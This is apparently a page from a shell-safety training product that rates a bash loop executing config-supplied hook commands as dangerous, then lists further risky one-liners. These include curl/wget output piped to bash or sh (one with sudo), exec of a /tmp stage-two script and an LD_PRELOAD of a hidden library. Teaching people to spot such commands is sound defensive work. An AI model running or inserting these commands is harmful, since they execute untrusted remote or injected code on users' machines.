Dangerous
jq -r '.hooks[] | .command' .repo-config.json | while read -r c; do $c; donelinux · bash · Expert
An unquoted $c is word-split and glob-expanded by the shell before it runs, and the strings come from a config file any contributor can…
The full explanation and danger signals for this pack are part of Pro.
Think you can spot these under time pressure?
Start TrainingMore Process Execution
ps auxIntermediatecurl -fsSL https://example.com/install.sh | bashIntermediatewget -qO- https://example.com/setup | shAdvancedpython3 -c "exec(open('/tmp/stage2.py').read())"Advancedexport LD_PRELOAD=/tmp/.helper.so && /usr/bin/idAdvancedcurl -fsSL https://example.com/bootstrap | sudo bash -s -- --forceExpert